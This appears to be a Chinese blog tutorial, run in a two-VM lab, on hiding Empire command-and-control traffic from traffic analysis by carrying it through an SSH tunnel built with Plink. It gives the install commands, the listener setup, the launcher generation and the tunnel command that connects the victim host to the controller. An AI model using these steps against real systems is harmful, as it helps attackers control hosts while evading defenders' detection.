在网络攻防博弈中,网络流量特征分析类安全防御措施得到了广泛应用。众多厂商和企业对网络流量进行恶意流量分析检测,从而针对性的采取防御措施,如各级ISP在骨干网络设备上大多采用网络流量分析检测的防御方案。
一、背景简介

在网络攻防博弈中,网络流量特征分析类安全防御措施得到了广泛应用。众多厂商和企业对网络流量进行恶意流量分析检测,从而针对性的采取防御措施,如各级ISP在骨干网络设备上大多采用网络流量分析检测的防御方案。
本文想通过标准的SSH的端口转发建立SSH形式的加密隧道,用于加密、隐蔽传输恶意流量,从而避免通过流量检测发现恶意行为。复现实验部分以C&C通信流量为例进入实验。通过SSH隧道进行加密和隐藏的C&C流量在外部流量特征分析仅表现为标准SSH流量。

二、实验原理

本次实验使用Empire工具快速搭建C&C信道,本文只简要介绍对于Empire工具。在Windows平台下使用Plink.exe工具的SSH功能搭建SSH隧道。

2.1 SSH隧道介绍

SSH 会自动加密和解密所有 SSH 客户端与服务端之间的网络数据。但是, SSH 还能够将其他 TCP 端口的网络数 据通过 SSH 链接来转发,并且自动提供了相应的加密及解密服务。这一过程也被叫做“隧道”( tunneling),这是因 为 SSH 为其他 TCP 链接提供了一个安全的通道来进行传输而得名。SSH隧道的实现主要使用SSH的参数配置进行端 口转发,即将所需传输的数据内容通过加密的SSH隧道进行转发。 SSH 端口转发能够提供两大功能:1、加密 SSH Client 端至 SSH Server 端之间的通讯数据。2、突破防火墙的限制完成一些之前无法建立的 TCP 连接。
由于SSH的安全性,在数据跨越公网时其他人无法得知数据内容。SSH端口转发有本地转发、远程转发和动态端 口转发三种。本次实验主要以本地转发为例。

本地转发主要使用SSH的 -L参数解释:


(1) 第1部分,-L选项表示使用“本地转发”建立ssh隧道。“本地转发”表示本地的某个端口上的通讯数据会被转发到目标主机的对应端口。
(2) 第2部分表示:通讯数据会从本地的9906端口上被转发,最终被转发到10.1.0.2的3306端口。
(3) 第3部分表示:我们创建的ssh隧道是连接到10.1.0.2上的root用户。

2.2 Empire工具简介

Empire是一个针对windows平台、提供从Stager生成到提取和渗透维持一系列功能齐全的渗透攻击框架,其最 大的特点是以PowerShell脚本作为攻击载荷,而且Empire实现了无需powerShell.exe就可运行PowerShell代理功 能,即它是一个纯粹的PowerShell后期漏洞利用代理工具。快速部署后期漏洞利用模块,内置模块有键盘记录、 Mimikatz、绕过UAC、内网扫描等等,并且能够适应通信躲避网络检测和大部分安全防护工具的查杀,简单来说 Empire类似于渗透神器Metasploit,是一个基于PowerShell的远程控制木马。

2.2 Empire工具安装

在实验虚拟linux系统中安装

git clone https://github.com/EmpireProject/Empire.git #进入setup目录进行命令行安装 cd Empire cd setup sudo ./install.sh

安装成功后,确认Empire目录下所有文件(目录)如下图:
使用 ./empire启动Empire如下图,则成功安装。

三、实验步骤

实验说明:使用两台虚拟机ubuntu16 + windows 7,其中ubuntu16模拟控制端,windows 7模拟受控主机。

3.1 在ubuntu系统上搭建SSH服务端

(1) 安装Open-SSH Server端

sudo apt-get install openssh-server

(2) 配置SSH Server端
编辑/etc/ssh/sshd_config文件中允许口令登录PermitRootLogin配置如下图:

(3) 测试SSH登录是否成功
查看本机IP(linux命令:ifconfig),如在windows下的XShell工具下输入Server IP 输入登录名和密码,成功登入系统则SSH Server端搭建成功。
注:需要重启sshd服务:/etc/init.d/ssh resar
(4) 配置RSA密钥对认证登录
a) 生成rsa密钥对

ssh-keygen -t rsa

b) 开启sshd支持RSA认证选项,并添加认证公钥路径地址
c) 编辑/etc/ssh/sshd_config文件中的PubkeyAuthentication选项配置为yes,即:
d) 复制公钥到某用户home目录下的.ssh文件夹下,注必须使用以下命令在受控主机(本次实验使用win 7进行模拟)进行复制,否则文件权限设置易出错。

ssh-copy-id -i id_rsa.pub 主机登录用户名@192.168.81.137

e) 使用私钥进行登录ssh登录
ssh -i 私钥路径 主机登录用户名@192.168.81.137
注:使用putty、winscp等工具时需要先使用对应平台工具进行rsa私钥导入后转化为相对应文件格式,如本次实验使用putty工具导入生成私钥文件sshrsa.ppk。

3.2 使用Empire工具生成PowerShell脚本备用

Empire工具类似Metasploit,详细使用教程可参考一篇文章精通PowerShell Empire。
本次实验使用Empire生成简单的PowerShell脚本,建立最简单的C&C通信。下面简单概括主要步骤。
(1) 设置监听
listeners #进入的界面下可输入list查看以设置的监听 uselistener http #输入 info查看必填参数 set Name 4444 #本次实验通过SSH隧道通信,因此设置监听127.0.0.1:4444 set Port 4444 set Host 127.0.0.1 execute #创建命为4444的监听,监听127.0.0.1:4444上通信数据
示例如下:

(2) 生成简单的PowerShell利用脚本(针对windows)
launcher powershell 4444 # 4444为设置的监听名字 #可进入tagers生成其他木马、远控程序,本次实验直接生成最简单PowerShell利用脚本
注:生成的Powershell代码直接复制并保存,以备在受控windows主机(win7、win10)执行。

3.3 搭建SSH隧道

(1) windows下使用Plink.exe(putty工具集中可以在windows系统下使用命令行进行SSH连接)连接SSHServer
#需要首先进入Plink.exe文件所在路径 Plink.exe -ssh -l 登录用户名 -pw 登录密码 SSH主机IP
(2) Plink相关参数

-ssh 指定使用特定连接协议
-l 指定登录用户名
-i 指定RSA私钥登录
-L 本地转发

(3) Plink端口转发设计

plink.exe -ssh -i sshrsa.ppk am00n@192.168.81.137 -L 4444:192.168.81.137:4444

将本地端口(4444)转发到远程目标主机(192.168.81.137)的目标端口(4444)。
注意:以上命令执行成功后,需要保持命令行不要关闭。同时可以组合使用SSH的其他参数进行后台运行、不交互等。
(4) 使用(2)中生成的PowerShell脚本,使受控主机上线
a) windows 7虚拟机另外开启一个CMD窗口,复制PowerShell脚本执行。可以看到受控主机以上线。
5) ubuntu端切换到agents界面,list命令查看如图:
6) 通过interact命令则可以使用以建立的控制信道控制受控主机,如通过简单的ls命令测试成功如下图:
7) 至此以成功使用SSH隧道传输C&C通信流量,后续可在此基础上设计实现其他C&C控制命令及其它恶意功能。

四、总结

通过本次实验可以看出,攻击者可以利用类似SSH的公共服务或可用技术辅助攻击,且其实现也非常容易。

关键步骤总结:

(1) 搭建SSH服务,并配置为RSA私钥登录(也可以配置为免密登录)。
(2) 使用工具(如Empire、Metasploit等)构建C&C。
(3) 利用SSH的端口转发搭建SSH隧道。
(4) 配置C&C和SSH参数使二者配合实现加密、隐藏恶意流量的目的。

利用SSH隧道加密技术隐蔽C&C通信流量的更多相关文章

  1. 利用SSH隧道技术穿越内网访问远程设备

    本文为作者原创,转载请注明出处:https://www.cnblogs.com/leisure_chn/p/11899478.html 通常,我们用于调试的计算机无法远程访问位于局域网中的待调试设备. ...

  2. [视频教程]利用SSH隧道进行远程腾讯云服务器项目xdebug调试

    我的远程服务器是腾讯云的ubuntu系统机器,本地我的电脑系统是deepin的系统,使用的IDE是vscode.现在就来使用本地的IDE来调试腾讯云中为网站项目实现逻辑是访问网站域名后,请求被转发给腾 ...

  3. SSH隧道技术----端口转发,socket代理

    原文的原始出处不详,本文也是在复制引用了某篇转载,并做了必要的整理与编辑. 本文的受众 如果你遇到了以下问题,那么你应该阅读这篇文章 我听说过这种技术,我对它很感兴趣 我想在家里访问我在公司的机器(写 ...

  4. SSH隧道技术简介

    本文的受众如果你遇到了以下问题,那么你应该阅读这篇文章 我听说过这种技术,我对它很感兴趣 我想在家里访问我在公司的机器(写程序,查数据,下电影). 公司为了防止我们用XX软件封锁了它的端口或者服务器地 ...

  5. 【原创】利用动态二进制加密实现新型一句话木马之PHP篇

    概述 本系列文章重写了java..net.php三个版本的一句话木马,可以解析并执行客户端传递过来的加密二进制流,并实现了相应的客户端工具.从而一劳永逸的绕过WAF或者其他网络防火墙的检测. 本来是想 ...

  6. ssh隧道详解与案例利用讲解

    原文阅读:https://www.52stu.org/?p=206 你是否有过自己身处内网,却想整个远控上线?你是否有过身处目标内网,却想把目标的内网的Linux的ssh转发出来?你是否想过穿透多层网 ...

  7. ssh隧道技术

    大家都知道SSH是一种安全的传输协议,用在连接服务器上比较多.不过其实除了这个功能,它的隧道转发功能更是吸引人.下面是个人根据自己的需求以及在网上查找的资料配合自己的实际操作所得到的一些心得. SSH ...

  8. Linux SSH隧道技术(端口转发,socket代理)

    动态转发(SOCKS5代理): 命令格式:ssh -D <local port> <SSH Server> ssh -fnND 0.0.0.0:20058 172.16.50. ...

  9. 通过 SSH 隧道方式图形化连接 AIX 服务器

    跳转到主要内容 登录 (或注册) 中文 [userid] IBM ID: 密码: 保持登录. 单击提交则表示您同意developerWorks 的条款和条件. 查看条款和条件. 需要一个 IBM ID ...

随机推荐

  1. golang中的tcp编程

    1. tcp server package main import ( "bufio" "fmt" "net" ) func main() ...

  2. rsync.sh

    #!/bin/bash file1=`du -sm /var/www/vhosts/|awk '{print $1}'` ps=`ps -C rsync --no-header|wc -l` if [ ...

  3. python利用正则表达式提取文本中特定内容

    正则表达式是一个特殊的字符序列,它能帮助你方便的检查一个字符串是否与某种模式匹配. Python 自1.5版本起增加了re 模块,它提供 Perl 风格的正则表达式模式. re 模块使 Python ...

  4. java秒杀系列(1)- 秒杀方案总体思路

    前言 首先,要明确一点,高并发场景下系统的瓶颈出现在哪里,其实主要就是数据库,那么就要想办法为数据库做层层防护,减轻数据库的压力. 一.简单图示 我用一个比较简单直观的图来表达大概的处理思路 二.生产 ...

  5. ApacheCN Java 译文集 20211012 更新

    Effective Java 中文第三版 1. 考虑使用静态工厂方法替代构造方法 2. 当构造方法参数过多时使用 builder 模式 3. 使用私有构造方法或枚类实现 Singleton 属性 4. ...

  6. 理解https中的安全及其实现原理

    Google的一份网络上的 HTTPS 加密透明报告(数据截至2022年1月)中指出HTTPS 连接的普及率在过去几年激增,互联网上排名前 100 位的非 Google 网站HTTPS 使用情况为:9 ...

  7. JS generator(生成器)

    笔记整理自:廖雪峰老师的JS教程 目录 简介 与函数的不同之处 函数写法 generator写法 generator调用 generator对象的`next()`方法调用 `for ... of`循环 ...

  8. 阿里云服务器sshd-D cpu占用过高

    发现阿里云服务器cpu占用到达了100%,原因是被植入了挖矿程序,解决方法如下 1.使用top命令查看进程id 直接kill杀死该进程过一会就会重新启动. 2.查看该进程所在的文件目录 这个文件基本上 ...

  9. 电脑预装Office2016打开Word时点击保存弹出“word无法启动转换器RECOVR32.CNV”对话框问题的修复方法

    感谢大佬:https://blog.csdn.net/qq_41969790/article/details/85161701 1.问题描述:电脑预装的Office2016,家庭和学生版正版.每次打开 ...

  10. EasyExcel小试牛刀

    原创:转载需注明原创地址 https://www.cnblogs.com/fanerwei222/p/12029411.html 某种偶然的机会遇到了这个插件, 听说很牛X, 我之前也不知道, 不过还 ...